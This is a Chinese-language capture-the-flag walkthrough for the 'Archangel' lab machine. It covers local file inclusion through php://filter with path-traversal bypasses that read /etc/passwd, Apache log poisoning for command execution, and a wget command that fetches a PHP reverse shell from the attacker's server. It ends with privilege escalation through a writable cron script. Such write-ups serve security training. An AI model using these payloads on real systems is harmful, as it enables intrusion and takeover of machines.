Archangel
Boot2root, Web exploitation, Privilege escalation, LFI
0x01 信息收集
常规端口扫一波,发现只有22和80端口开放
![](https://i-blog.csdnimg.cn/blog_migrate/e485f9729838dd1cab5d5590ee9e901f.png)
先从80端口入手,常规的扫目录没有发现有价值的东西
![](https://i-blog.csdnimg.cn/blog_migrate/a0ca9503915020016346b17c86d52f56.png)
在源代码里发现一个可以的域名
![](https://i-blog.csdnimg.cn/blog_migrate/9590a437be7b446158425ab3e1dc20a2.png)
网站找不到突破口,试着修改本地的hosts文件指向改域名,访问后获得第一个flag
![](https://i-blog.csdnimg.cn/blog_migrate/ba609f5da6f9f49b3ca92cf683d0c81b.png)
在用gobuster扫描网站目录,得到test.php和robots.txt
robots.txt里面指的也是test.php
![](https://i-blog.csdnimg.cn/blog_migrate/1439f617030e830441d9062d288d4a69.png)
0x02 文件包含
打开test.php看路径像是有文件包含的漏洞
![](https://i-blog.csdnimg.cn/blog_migrate/4345abcadf2e87d7f4540bc0cf19a869.png)
用php伪协议包含到test.php文件
php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
分析源代码if需要满足两个条件没有../..和
/var/www/html/development_testing
![](https://i-blog.csdnimg.cn/blog_migrate/28b410dabdf34736fa5ce7f0dcdadbef.png)
根据条件读取/etc/passwd
php://filter/resource=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//..//..//etc/passwd
也可以用.././.././绕过
..%2f/..%2f/..%2f/也能绕过
![](https://i-blog.csdnimg.cn/blog_migrate/341fc5915c6058502c3918fa41792dbb.png)
尝试包含apache日志getshell
![](https://i-blog.csdnimg.cn/blog_migrate/940feb19edf2d7bb4a3506f4668fd171.png)
在User-Agent里插入phpinfo函数测试一下
![](https://i-blog.csdnimg.cn/blog_migrate/36e83f376095111e2f1bdf5e2b6bf00b.png)
成功解析
![](https://i-blog.csdnimg.cn/blog_migrate/f516ec9398632c0650fd4afe2c7b853f.png)
0x03 GetShell
插入system执行命令函数
![](https://i-blog.csdnimg.cn/blog_migrate/199496137c74259f5b377c28c81f6604.png)
给cmd传参成功执行,接下来就是用kali自带的php反向shell脚本getshell
![](https://i-blog.csdnimg.cn/blog_migrate/b6dfa26dafbf32fbdf0750fbad698e47.png)
修改文件的反向链接的地址和端口
![](https://i-blog.csdnimg.cn/blog_migrate/d65a37abe87b86fd224f9058164e092e.png)
用python3搭建一个简单的网站
python3 -m http.server 4444
执行函数用wget 下载脚本 wget http://10.10.220.123:4444/php-serverse-shell.php
![](https://i-blog.csdnimg.cn/blog_migrate/accdbe06fc5e3d81299dc08953225ccd.png)
下载成功后在同级目录下访问php-reverse-shell.php
访问前记得先用nc起监听
![](https://i-blog.csdnimg.cn/blog_migrate/bbc4194097493049a9217bdac45c1050.png)
0x04 权限提升
shell过来后准备提权,现先翻一下可以提权的脚本,发现/etc/crontab目录下有helloworld.sh以archanggel用户自动运行的脚本
![](https://i-blog.csdnimg.cn/blog_migrate/cdf3f9f365f738c137a56410b3924976.png)
过去看下是个自动运行的sh文件,具有可读可写权限。在文件后面添加反弹shell的命令。
![](https://i-blog.csdnimg.cn/blog_migrate/d4847d1d4ccb64acb037a2d529f716ce.png)
稍等片刻便能获得archangel权限